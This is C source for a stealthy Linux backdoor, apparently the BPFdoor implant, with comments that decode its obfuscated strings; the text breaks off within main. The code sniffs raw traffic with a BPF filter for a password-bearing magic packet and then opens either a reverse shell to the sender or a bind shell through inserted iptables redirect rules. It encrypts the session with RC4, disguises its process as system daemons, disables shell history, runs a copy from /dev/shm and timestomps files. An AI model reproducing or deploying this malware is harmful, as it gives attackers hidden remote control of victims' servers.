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#include <arpa/inet.h>
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#include <sys/wait.h>
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#include <sys/resource.h>
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <signal.h>
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#include <sys/types.h>
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#include <sys/stat.h>
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#include <linux/termios.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#include <string.h>
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#include <fcntl.h>
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#include <ctype.h>
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#include <netdb.h>
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#include <sys/prctl.h>
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#include <libgen.h>
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#include <sys/time.h>
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#include <time.h>
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#include <linux/types.h>
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#include <linux/if_ether.h>
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#include <linux/filter.h>
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#include <errno.h>
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#include <strings.h>
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#ifndef PR_SET_NAME
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#define PR_SET_NAME 15
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#endif
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extern char **environ;
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#define __SID ('S' << 8)
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#define I_PUSH (__SID | 2)
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struct sniff_ip {
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unsigned char ip_vhl;
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unsigned char ip_tos;
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unsigned short int ip_len;
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unsigned short int ip_id;
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unsigned short int ip_off;
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#define IP_RF 0x8000
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#define IP_DF 0x4000
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#define IP_MF 0x2000
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#define IP_OFFMASK 0x1fff
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unsigned char ip_ttl;
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unsigned char ip_p;
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unsigned short int ip_sum;
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struct in_addr ip_src,ip_dst;
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};
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#define IP_HL(ip) (((ip)->ip_vhl) & 0x0f)
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#define IP_V(ip) (((ip)->ip_vhl) >> 4)
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typedef unsigned int tcp_seq;
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struct sniff_tcp {
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unsigned short int th_sport;
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unsigned short int th_dport;
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tcp_seq th_seq;
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tcp_seq th_ack;
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unsigned char th_offx2;
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#define TH_OFF(th) (((th)->th_offx2 & 0xf0) >> 4)
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unsigned char th_flags;
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#define TH_FIN 0x01
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#define TH_SYN 0x02
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#define TH_RST 0x04
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#define TH_PUSH 0x08
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#define TH_ACK 0x10
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#define TH_URG 0x20
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#define TH_ECE 0x40
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#define TH_CWR 0x80
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#define TH_FLAGS (TH_FIN|TH_SYN|TH_RST|TH_ACK|TH_URG|TH_ECE|TH_CWR)
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unsigned short int th_win;
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unsigned short int th_sum;
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unsigned short int th_urp;
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} __attribute__ ((packed));
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struct sniff_udp {
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uint16_t uh_sport;
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uint16_t uh_dport;
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uint16_t uh_ulen;
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uint16_t uh_sum;
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} __attribute__ ((packed));
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struct magic_packet{
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unsigned int flag;
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in_addr_t ip;
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unsigned short port;
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char pass[14];
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} __attribute__ ((packed));
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#ifndef uchar
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#define uchar unsigned char
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#endif
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typedef struct {
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uchar state[256];
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uchar x, y;
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} rc4_ctx;
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extern char *ptsname(int);
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extern int grantpt(int fd);
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extern int unlockpt(int fd);
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extern int ioctl (int __fd, unsigned long int __request, ...) __THROW;
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#define TIOCSCTTY 0x540E
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#define TIOCGWINSZ 0x5413
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#define TIOCSWINSZ 0x5414
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#define ECHAR 0x0b
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#define BUF 32768
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struct config {
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char stime[4];
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char etime[4];
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char mask[512];
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char pass[14];
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char pass2[14];
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} __attribute__ ((packed));
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struct config cfg;
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int pty, tty;
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int godpid;
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char pid_path[50];
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int shell(int, char *, char *);
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void getshell(char *ip, int);
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char *argv0 = NULL;
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rc4_ctx crypt_ctx, decrypt_ctx;
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void xchg(uchar *a, uchar *b)
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{
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uchar c = *a;
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*a = *b;
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*b = c;
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}
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void rc4_init (uchar *key, int len, rc4_ctx *ctx)
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{
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uchar index1, index2;
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uchar *state = ctx->state;
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uchar i;
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i = 0;
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do {
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state[i] = i;
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i++;
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} while (i);
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ctx->x = ctx->y = 0;
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index1 = index2 = 0;
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do {
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index2 = key[index1] + state[i] + index2;
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xchg(&state[i], &state[index2]);
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index1++;
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if (index1 >= len)
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index1 = 0;
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i++;
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} while (i);
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}
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void rc4 (uchar *data, int len, rc4_ctx *ctx)
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{
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uchar *state = ctx->state;
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uchar x = ctx->x;
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uchar y = ctx->y;
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int i;
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for (i = 0; i < len; i++) {
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uchar xor;
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x++;
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y = state[x] + y;
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xchg(&state[x], &state[y]);
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xor = state[x] + state[y];
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data[i] ^= state[xor];
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}
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ctx->x = x;
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ctx->y = y;
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}
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int cwrite(int fd, void *buf, int count)
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{
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uchar *tmp;
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int ret;
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if (!count)
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return 0;
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tmp = malloc(count);
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if (!tmp)
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return 0;
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memcpy(tmp, buf, count);
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rc4(tmp, count, &crypt_ctx);
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ret = write(fd, tmp, count);
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free(tmp);
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return ret;
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}
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int cread(int fd, void *buf, int count)
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{
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int i;
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if (!count)
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return 0;
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i = read(fd, buf, count);
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if (i > 0)
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rc4(buf, i, &decrypt_ctx);
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return i;
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}
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static void remove_pid(char *pp)
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{
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unlink(pp);
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}
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static void setup_time(char *file)
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{
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struct timeval tv[2];
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tv[0].tv_sec = 1225394236;
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tv[0].tv_usec = 0;
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tv[1].tv_sec = 1225394236;
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tv[1].tv_usec = 0;
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utimes(file, tv);
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}
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static void terminate(void)
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{
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if (getpid() == godpid)
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remove_pid(pid_path);
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_exit(EXIT_SUCCESS);
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}
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static void on_terminate(int signo)
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{
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terminate();
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}
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static void init_signal(void)
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{
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atexit(terminate);
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signal(SIGTERM, on_terminate);
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return;
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}
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void sig_child(int i)
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{
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signal(SIGCHLD, sig_child);
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waitpid(-1, NULL, WNOHANG);
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}
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int ptym_open(char *pts_name)
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{
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char *ptr;
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int fd;
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strcpy(pts_name,"/dev/ptmx");
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if ((fd = open(pts_name,O_RDWR)) < 0) {
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return -1;
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}
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if (grantpt(fd) < 0) {
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close(fd);
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return -2;
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}
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if (unlockpt(fd) < 0) {
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close(fd);
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return -3;
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}
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if ((ptr = ptsname(fd)) == NULL) {
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close(fd);
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return -4;
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}
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strcpy(pts_name,ptr);
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return fd;
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}
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int ptys_open(int fd,char *pts_name)
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{
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int fds;
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if ((fds = open(pts_name,O_RDWR)) < 0) {
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close(fd);
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return -5;
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}
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if (ioctl(fds,I_PUSH,"ptem") < 0) {
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return fds;
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}
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if (ioctl(fds,I_PUSH,"ldterm") < 0) {
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return fds;
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}
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if (ioctl(fds,I_PUSH,"ttcompat") < 0) {
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return fds;
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}
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return fds;
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}
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int open_tty()
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{
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char pts_name[20];
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pty = ptym_open(pts_name);
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tty = ptys_open(pty,pts_name);
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if (pty >= 0 && tty >=0 )
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return 1;
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return 0;
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}
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int try_link(in_addr_t ip, unsigned short port)
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{
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struct sockaddr_in serv_addr;
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int sock;
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bzero(&serv_addr, sizeof(serv_addr));
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serv_addr.sin_addr.s_addr = ip;
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if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
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return -1;
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}
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serv_addr.sin_family = AF_INET;
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serv_addr.sin_port = port;
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if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr)) == -1 ) {
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close(sock);
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return -1;
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}
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return sock;
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}
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int mon(in_addr_t ip, unsigned short port)
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{
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struct sockaddr_in remote;
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int sock;
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int s_len;
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bzero(&remote, sizeof(remote));
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if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < -1) {
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return -1;
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}
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remote.sin_family = AF_INET;
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remote.sin_port = port;
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remote.sin_addr.s_addr = ip;
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if ((s_len = sendto(sock, "1", 1, 0, (struct sockaddr *)&remote, sizeof(struct sockaddr))) < 0) {
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close(sock);
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return -1;
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}
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close(sock);
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return s_len;
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}
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int set_proc_name(int argc, char **argv, char *new)
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{
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size_t size = 0;
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int i;
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char *raw = NULL;
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char *last = NULL;
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argv0 = argv[0];
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for (i = 0; environ[i]; i++)
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size += strlen(environ[i]) + 1;
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raw = (char *) malloc(size);
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if (NULL == raw)
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return -1;
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for (i = 0; environ[i]; i++)
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{
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memcpy(raw, environ[i], strlen(environ[i]) + 1);
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environ[i] = raw;
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raw += strlen(environ[i]) + 1;
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}
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last = argv[0];
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for (i = 0; i < argc; i++)
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last += strlen(argv[i]) + 1;
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for (i = 0; environ[i]; i++)
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last += strlen(environ[i]) + 1;
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memset(argv0, 0x00, last - argv0);
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strncpy(argv0, new, last - argv0);
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prctl(PR_SET_NAME, (unsigned long) new);
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return 0;
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}
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int to_open(char *name, char *tmp)
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{
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char cmd[256] = {0};
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char fmt[] = {
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0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d, 0x66,
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0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f,
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0x25, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x63, 0x70,
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0x20, 0x25, 0x73, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
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0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
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0x62, 0x69, 0x6e, 0x2f, 0x63, 0x68, 0x6d, 0x6f, 0x64, 0x20,
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0x37, 0x35, 0x35, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73,
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0x68, 0x6d, 0x2f, 0x25, 0x73, 0x20, 0x26, 0x26, 0x20, 0x2f,
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0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d, 0x2f, 0x25, 0x73,
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0x20, 0x2d, 0x2d, 0x69, 0x6e, 0x69, 0x74, 0x20, 0x26, 0x26,
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0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x72, 0x6d, 0x20, 0x2d,
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0x66, 0x20, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x68, 0x6d,
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0x2f, 0x25, 0x73, 0x00}; // /bin/rm -f /dev/shm/%s;/bin/cp %s /dev/shm/%s && /bin/chmod 755 /dev/shm/%s && /dev/shm/%s --init && /bin/rm -f /dev/shm/%s
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snprintf(cmd, sizeof(cmd), fmt, tmp, name, tmp, tmp, tmp, tmp);
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system(cmd);
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sleep(2);
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if (access(pid_path, R_OK) == 0)
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return 0;
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return 1;
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}
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int logon(const char *hash)
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{
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int x = 0;
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x = memcmp(cfg.pass, hash, strlen(cfg.pass));
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if (x == 0)
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return 0;
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x = memcmp(cfg.pass2, hash, strlen(cfg.pass2));
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if (x == 0)
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return 1;
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return 2;
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}
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void packet_loop()
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{
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int sock, r_len, pid, scli, size_ip, size_tcp;
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socklen_t psize;
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uchar buff[512];
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const struct sniff_ip *ip;
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const struct sniff_tcp *tcp;
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struct magic_packet *mp;
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const struct sniff_udp *udp;
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in_addr_t bip;
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char *pbuff = NULL;
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//
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// Filter Options Build Filter Struct
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//
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struct sock_fprog filter;
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struct sock_filter bpf_code[] = {
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{ 0x28, 0, 0, 0x0000000c },
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{ 0x15, 0, 27, 0x00000800 },
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{ 0x30, 0, 0, 0x00000017 },
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{ 0x15, 0, 5, 0x00000011 },
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{ 0x28, 0, 0, 0x00000014 },
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{ 0x45, 23, 0, 0x00001fff },
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{ 0xb1, 0, 0, 0x0000000e },
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{ 0x48, 0, 0, 0x00000016 },
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{ 0x15, 19, 20, 0x00007255 },
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{ 0x15, 0, 7, 0x00000001 },
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{ 0x28, 0, 0, 0x00000014 },
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{ 0x45, 17, 0, 0x00001fff },
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{ 0xb1, 0, 0, 0x0000000e },
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{ 0x48, 0, 0, 0x00000016 },
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{ 0x15, 0, 14, 0x00007255 },
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||||
{ 0x50, 0, 0, 0x0000000e },
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{ 0x15, 11, 12, 0x00000008 },
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{ 0x15, 0, 11, 0x00000006 },
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{ 0x28, 0, 0, 0x00000014 },
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{ 0x45, 9, 0, 0x00001fff },
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{ 0xb1, 0, 0, 0x0000000e },
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{ 0x50, 0, 0, 0x0000001a },
|
||||
{ 0x54, 0, 0, 0x000000f0 },
|
||||
{ 0x74, 0, 0, 0x00000002 },
|
||||
{ 0xc, 0, 0, 0x00000000 },
|
||||
{ 0x7, 0, 0, 0x00000000 },
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||||
{ 0x48, 0, 0, 0x0000000e },
|
||||
{ 0x15, 0, 1, 0x00005293 },
|
||||
{ 0x6, 0, 0, 0x0000ffff },
|
||||
{ 0x6, 0, 0, 0x00000000 },
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||||
};
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||||
|
||||
filter.len = sizeof(bpf_code)/sizeof(bpf_code[0]);
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||||
filter.filter = bpf_code;
|
||||
|
||||
//
|
||||
// Build a rawsocket that binds the NIC to receive Ethernet frames
|
||||
//
|
||||
|
||||
if ((sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_IP))) < 1)
|
||||
return;
|
||||
|
||||
//
|
||||
// Set a packet filter
|
||||
//
|
||||
|
||||
if (setsockopt(sock, SOL_SOCKET, SO_ATTACH_FILTER, &filter, sizeof(filter)) == -1) {
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//
|
||||
// Loop to Read Packets in 512 Chunks
|
||||
//
|
||||
|
||||
|
||||
while (1) {
|
||||
memset(buff, 0, 512);
|
||||
psize = 0;
|
||||
r_len = recvfrom(sock, buff, 512, 0x0, NULL, NULL);
|
||||
|
||||
ip = (struct sniff_ip *)(buff+14);
|
||||
size_ip = IP_HL(ip)*4;
|
||||
if (size_ip < 20) continue;
|
||||
|
||||
// determine protocl from packet (offset 14)
|
||||
switch(ip->ip_p) {
|
||||
case IPPROTO_TCP:
|
||||
tcp = (struct sniff_tcp*)(buff+14+size_ip);
|
||||
size_tcp = TH_OFF(tcp)*4;
|
||||
mp = (struct magic_packet *)(buff+14+size_ip+size_tcp);
|
||||
break;
|
||||
case IPPROTO_UDP:
|
||||
udp = (struct sniff_udp *)(ip+1);
|
||||
mp = (struct magic_packet *)(udp+1);
|
||||
break;
|
||||
case IPPROTO_ICMP:
|
||||
pbuff = (char *)(ip+1);
|
||||
mp = (struct magic_packet *)(pbuff+8);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
// if magic packet is set process
|
||||
|
||||
if (mp) {
|
||||
if (mp->ip == INADDR_NONE)
|
||||
bip = ip->ip_src.s_addr;
|
||||
else
|
||||
bip = mp->ip;
|
||||
|
||||
pid = fork();
|
||||
if (pid) {
|
||||
waitpid(pid, NULL, WNOHANG);
|
||||
}
|
||||
else {
|
||||
int cmp = 0;
|
||||
char sip[20] = {0};
|
||||
char pname[] = {0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x69, 0x62, 0x65, 0x78, 0x65, 0x63, 0x2f, 0x70, 0x6f, 0x73, 0x74, 0x66, 0x69, 0x78, 0x2f, 0x6d, 0x61, 0x73, 0x74, 0x65,
|
||||
0x72, 0x00}; // /usr/libexec/postfix/master
|
||||
|
||||
if (fork()) exit(0);
|
||||
chdir("/");
|
||||
setsid();
|
||||
signal(SIGHUP, SIG_DFL);
|
||||
memset(argv0, 0, strlen(argv0));
|
||||
strcpy(argv0, pname); // sets process name (/usr/libexec/postfix/master)
|
||||
prctl(PR_SET_NAME, (unsigned long) pname);
|
||||
|
||||
rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx);
|
||||
rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx);
|
||||
|
||||
cmp = logon(mp->pass);
|
||||
switch(cmp) {
|
||||
case 1:
|
||||
strcpy(sip, inet_ntoa(ip->ip_src));
|
||||
getshell(sip, ntohs(tcp->th_dport));
|
||||
break;
|
||||
case 0:
|
||||
scli = try_link(bip, mp->port);
|
||||
if (scli > 0)
|
||||
shell(scli, NULL, NULL);
|
||||
break;
|
||||
case 2:
|
||||
mon(bip, mp->port);
|
||||
break;
|
||||
}
|
||||
exit(0);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
close(sock);
|
||||
}
|
||||
|
||||
int b(int *p)
|
||||
{
|
||||
int port;
|
||||
struct sockaddr_in my_addr;
|
||||
int sock_fd;
|
||||
int flag = 1;
|
||||
|
||||
if( (sock_fd = socket(AF_INET,SOCK_STREAM,0)) == -1 ){
|
||||
return -1;
|
||||
}
|
||||
|
||||
setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, (char*)&flag,sizeof(flag));
|
||||
|
||||
my_addr.sin_family = AF_INET;
|
||||
my_addr.sin_addr.s_addr = 0;
|
||||
|
||||
for (port = 42391; port < 43391; port++) {
|
||||
my_addr.sin_port = htons(port);
|
||||
if( bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr)) == -1 ){
|
||||
continue;
|
||||
}
|
||||
if( listen(sock_fd,1) == 0 ) {
|
||||
*p = port;
|
||||
return sock_fd;
|
||||
}
|
||||
close(sock_fd);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int w(int sock)
|
||||
{
|
||||
socklen_t size;
|
||||
struct sockaddr_in remote_addr;
|
||||
int sock_id;
|
||||
|
||||
size = sizeof(struct sockaddr_in);
|
||||
if( (sock_id = accept(sock,(struct sockaddr *)&remote_addr, &size)) == -1 ){
|
||||
return -1;
|
||||
}
|
||||
|
||||
close(sock);
|
||||
return sock_id;
|
||||
|
||||
}
|
||||
|
||||
void getshell(char *ip, int fromport)
|
||||
{
|
||||
int sock, sockfd, toport;
|
||||
char cmd[512] = {0}, rcmd[512] = {0}, dcmd[512] = {0};
|
||||
char cmdfmt[] = {
|
||||
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
|
||||
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x41,
|
||||
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
|
||||
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
|
||||
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
|
||||
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
|
||||
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
|
||||
0x64, 0x00}; // /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
|
||||
char rcmdfmt[] = {
|
||||
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
|
||||
0x65, 0x73, 0x20, 0x2d, 0x74, 0x20, 0x6e, 0x61, 0x74, 0x20, 0x2d, 0x44,
|
||||
0x20, 0x50, 0x52, 0x45, 0x52, 0x4f, 0x55, 0x54, 0x49, 0x4e, 0x47, 0x20,
|
||||
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
|
||||
0x20, 0x2d, 0x2d, 0x64, 0x70, 0x6f, 0x72, 0x74, 0x20, 0x25, 0x64, 0x20,
|
||||
0x2d, 0x6a, 0x20, 0x52, 0x45, 0x44, 0x49, 0x52, 0x45, 0x43, 0x54, 0x20,
|
||||
0x2d, 0x2d, 0x74, 0x6f, 0x2d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0x20, 0x25,
|
||||
0x64, 0x00}; // /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
|
||||
char inputfmt[] = {
|
||||
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
|
||||
0x65, 0x73, 0x20, 0x2d, 0x49, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
|
||||
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
|
||||
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
|
||||
char dinputfmt[] = {
|
||||
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x2f, 0x69, 0x70, 0x74, 0x61, 0x62, 0x6c,
|
||||
0x65, 0x73, 0x20, 0x2d, 0x44, 0x20, 0x49, 0x4e, 0x50, 0x55, 0x54, 0x20,
|
||||
0x2d, 0x70, 0x20, 0x74, 0x63, 0x70, 0x20, 0x2d, 0x73, 0x20, 0x25, 0x73,
|
||||
0x20, 0x2d, 0x6a, 0x20, 0x41, 0x43, 0x43, 0x45, 0x50, 0x54, 0x00}; // /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
|
||||
|
||||
sockfd = b(&toport); // looks like it selects random ephemral port here
|
||||
if (sockfd == -1) return;
|
||||
|
||||
snprintf(cmd, sizeof(cmd), inputfmt, ip);
|
||||
snprintf(dcmd, sizeof(dcmd), dinputfmt, ip);
|
||||
system(cmd); // executes /sbin/iptables -I INPUT -p tcp -s %s -j ACCEPT
|
||||
sleep(1);
|
||||
memset(cmd, 0, sizeof(cmd));
|
||||
snprintf(cmd, sizeof(cmd), cmdfmt, ip, fromport, toport);
|
||||
snprintf(rcmd, sizeof(rcmd), rcmdfmt, ip, fromport, toport);
|
||||
system(cmd); // executes /sbin/iptables -t nat -A PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
|
||||
sleep(1);
|
||||
sock = w(sockfd); // creates a sock that listens on port specified earlier
|
||||
if( sock < 0 ){
|
||||
close(sock);
|
||||
return;
|
||||
}
|
||||
|
||||
//
|
||||
// passes sock and
|
||||
// rcmd = /sbin/iptables -t nat -D PREROUTING -p tcp -s %s --dport %d -j REDIRECT --to-ports %d
|
||||
// dcmd = /sbin/iptables -D INPUT -p tcp -s %s -j ACCEPT
|
||||
//
|
||||
//
|
||||
|
||||
shell(sock, rcmd, dcmd);
|
||||
close(sock);
|
||||
}
|
||||
|
||||
int shell(int sock, char *rcmd, char *dcmd)
|
||||
{
|
||||
int subshell;
|
||||
fd_set fds;
|
||||
char buf[BUF];
|
||||
char argx[] = {
|
||||
0x71, 0x6d, 0x67, 0x72, 0x20, 0x2d, 0x6c, 0x20, 0x2d, 0x74,
|
||||
0x20, 0x66, 0x69, 0x66, 0x6f, 0x20, 0x2d, 0x75, 0x00}; // qmgr -l -t fifo -u
|
||||
char *argvv[] = {argx, NULL, NULL};
|
||||
#define MAXENV 256
|
||||
#define ENVLEN 256
|
||||
char *envp[MAXENV];
|
||||
char sh[] = {0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00}; // /bin/sh
|
||||
int ret;
|
||||
char home[] = {0x48, 0x4f, 0x4d, 0x45, 0x3d, 0x2f, 0x74, 0x6d, 0x70, 0x00}; // HOME=/tmp
|
||||
char ps[] = {
|
||||
0x50, 0x53, 0x31, 0x3d, 0x5b, 0x5c, 0x75, 0x40, 0x5c, 0x68, 0x20,
|
||||
0x5c, 0x57, 0x5d, 0x5c, 0x5c, 0x24, 0x20, 0x00}; // PS1=[\u@\h \W]\\$
|
||||
char histfile[] = {
|
||||
0x48, 0x49, 0x53, 0x54, 0x46, 0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64,
|
||||
0x65, 0x76, 0x2f, 0x6e, 0x75, 0x6c, 0x6c, 0x00}; // HISTFILE=/dev/null
|
||||
char mshist[] = {
|
||||
0x4d, 0x59, 0x53, 0x51, 0x4c, 0x5f, 0x48, 0x49, 0x53, 0x54, 0x46,
|
||||
0x49, 0x4c, 0x45, 0x3d, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x6e, 0x75,
|
||||
0x6c, 0x6c, 0x00}; // MYSQL_HISTFILE=/dev/null
|
||||
char ipath[] = {
|
||||
0x50, 0x41, 0x54, 0x48, 0x3d, 0x2f, 0x62, 0x69, 0x6e,
|
||||
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65,
|
||||
0x72, 0x6f, 0x73, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
|
||||
0x73, 0x72, 0x2f, 0x6b, 0x65, 0x72, 0x62, 0x65, 0x72, 0x6f, 0x73,
|
||||
0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a,
|
||||
0x2f, 0x75, 0x73, 0x72, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75,
|
||||
0x73, 0x72, 0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73,
|
||||
0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c, 0x2f, 0x62, 0x69, 0x6e,
|
||||
0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f, 0x6c, 0x6f, 0x63, 0x61, 0x6c,
|
||||
0x2f, 0x73, 0x62, 0x69, 0x6e, 0x3a, 0x2f, 0x75, 0x73, 0x72, 0x2f,
|
||||
0x58, 0x31, 0x31, 0x52, 0x36, 0x2f, 0x62, 0x69, 0x6e, 0x3a, 0x2e,
|
||||
0x2f, 0x62, 0x69, 0x6e, 0x00}; // PATH=/bin:/usr/kerberos/sbin:/usr/kerberos/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin:./bin
|
||||
char term[] = "vt100";
|
||||
|
||||
envp[0] = home;
|
||||
envp[1] = ps;
|
||||
envp[2] = histfile;
|
||||
envp[3] = mshist;
|
||||
envp[4] = ipath;
|
||||
envp[5] = term;
|
||||
envp[6] = NULL;
|
||||
|
||||
if (rcmd != NULL)
|
||||
system(rcmd);
|
||||
if (dcmd != NULL)
|
||||
system(dcmd);
|
||||
write(sock, "3458", 4);
|
||||
if (!open_tty()) {
|
||||
if (!fork()) {
|
||||
dup2(sock, 0);
|
||||
dup2(sock, 1);
|
||||
dup2(sock, 2);
|
||||
execve(sh, argvv, envp);
|
||||
}
|
||||
close(sock);
|
||||
return 0;
|
||||
}
|
||||
|
||||
subshell = fork();
|
||||
if (subshell == 0) {
|
||||
close(pty);
|
||||
ioctl(tty, TIOCSCTTY);
|
||||
close(sock);
|
||||
dup2(tty, 0);
|
||||
dup2(tty, 1);
|
||||
dup2(tty, 2);
|
||||
close(tty);
|
||||
execve(sh, argvv, envp);
|
||||
}
|
||||
close(tty);
|
||||
|
||||
while (1) {
|
||||
FD_ZERO(&fds);
|
||||
FD_SET(pty, &fds);
|
||||
FD_SET(sock, &fds);
|
||||
if (select((pty > sock) ? (pty+1) : (sock+1),
|
||||
&fds, NULL, NULL, NULL) < 0)
|
||||
{
|
||||
break;
|
||||
}
|
||||
if (FD_ISSET(pty, &fds)) {
|
||||
int count;
|
||||
count = read(pty, buf, BUF);
|
||||
if (count <= 0) break;
|
||||
if (cwrite(sock, buf, count) <= 0) break;
|
||||
}
|
||||
if (FD_ISSET(sock, &fds)) {
|
||||
int count;
|
||||
unsigned char *p, *d;
|
||||
d = (unsigned char *)buf;
|
||||
count = cread(sock, buf, BUF);
|
||||
if (count <= 0) break;
|
||||
|
||||
p = memchr(buf, ECHAR, count);
|
||||
if (p) {
|
||||
unsigned char wb[5];
|
||||
int rlen = count - ((long) p - (long) buf);
|
||||
struct winsize ws;
|
||||
|
||||
if (rlen > 5) rlen = 5;
|
||||
memcpy(wb, p, rlen);
|
||||
if (rlen < 5) {
|
||||
ret = cread(sock, &wb[rlen], 5 - rlen);
|
||||
}
|
||||
|
||||
ws.ws_xpixel = ws.ws_ypixel = 0;
|
||||
ws.ws_col = (wb[1] << 8) + wb[2];
|
||||
ws.ws_row = (wb[3] << 8) + wb[4];
|
||||
ioctl(pty, TIOCSWINSZ, &ws);
|
||||
kill(0, SIGWINCH);
|
||||
|
||||
ret = write(pty, buf, (long) p - (long) buf);
|
||||
rlen = ((long) buf + count) - ((long)p+5);
|
||||
if (rlen > 0) ret = write(pty, p+5, rlen);
|
||||
} else
|
||||
if (write(pty, d, count) <= 0) break;
|
||||
}
|
||||
}
|
||||
close(sock);
|
||||
close(pty);
|
||||
waitpid(subshell, NULL, 0);
|
||||
vhangup();
|
||||
exit(0);
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // justforfun
|
||||
char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // socket
|
||||
char *self[] = {
|
||||
"/sbin/udevd -d",
|
||||
"/sbin/mingetty /dev/tty7",
|
||||
"/usr/sbin/console-kit-daemon --no-daemon",
|
||||
"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
|
||||
"dbus-daemon --system",
|
||||
"hald-runner",
|
||||
"pickup -l -t fifo -u",
|
||||
"avahi-daemon: chroot helper",
|
||||
"/sbin/auditd -n",
|
||||
"/usr/lib/systemd/systemd-journald"
|
||||
};
|
||||
|
||||
pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61;
|
||||
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72;
|
||||
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f;
|
||||
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c;
|
||||
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75;
|
||||
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e;
|
||||
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64;
|
||||
pid_path[21] = 0x00; // /var/run/haldrund.pid
|
||||
|
||||
if (access(pid_path, R_OK) == 0) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
if (getuid() != 0) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
if (argc == 1) {
|
||||
if (to_open(argv[0], "kdmtmpflush") == 0)
|
||||
_exit(0);
|
||||
_exit(-1);
|
||||
}
|
||||
|
||||
bzero(&cfg, sizeof(cfg));
|
||||
|
||||
srand((unsigned)time(NULL));
|
||||
strcpy(cfg.mask, self[rand()%10]);
|
||||
strcpy(cfg.pass, hash);
